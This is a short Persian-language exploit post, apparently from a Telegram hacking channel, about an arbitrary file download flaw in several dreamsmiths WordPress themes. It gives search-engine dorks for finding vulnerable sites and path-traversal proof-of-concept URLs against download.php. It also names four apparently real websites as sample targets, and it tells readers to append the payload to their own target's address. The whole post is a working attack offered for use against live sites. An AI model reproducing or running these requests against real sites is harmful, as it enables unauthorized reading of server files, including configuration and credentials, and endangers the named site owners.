اسیب پذیری فایل دانلود در تم وردپرس

#Exploit - #Dork - #WP - #Theme
--------
#Title : UWordpress dreamsmiths Themes Arbitrary File Download
#Dorks :
1. inurl:/wp-content/themes/fiestaresidences/
2. inurl:wp-content/themes/hsv/
3. inurl:wp-content/themes/erinvale/

#P0c :
نحوه ی اکسپلویت یکی از اکسپلویت های زیر رو به URL تارگت خود اضافه کنید.

site.com/wp-content/themes/fiestaresidences/download.php?file=../../../index.php

site.com/wp-content/themes/optimus/download.php?file=../../../index.php

site.com/wp-content/themes/erinvale/download.php?file=../../../index.php

site.com/wp-content/themes/hsv/download.php?file=../../../index.php

#Sample:
https://fiestaresidences.com/wp-content/themes/fiestaresidences/download.php?file=download.php

https://erinvale.co.za/wp-content/themes/erinvale/download.php?file=download.php

https://hsvhospitality.com/wp-content/themes/hsv/download.php?file=download.php

http://www.optimusproperty.net/wp-content/themes/optimus/download.php?file=download.php
/--//--//--//--//--//--//--//--/
T.me/LearnExploit
0Day.Today Boy's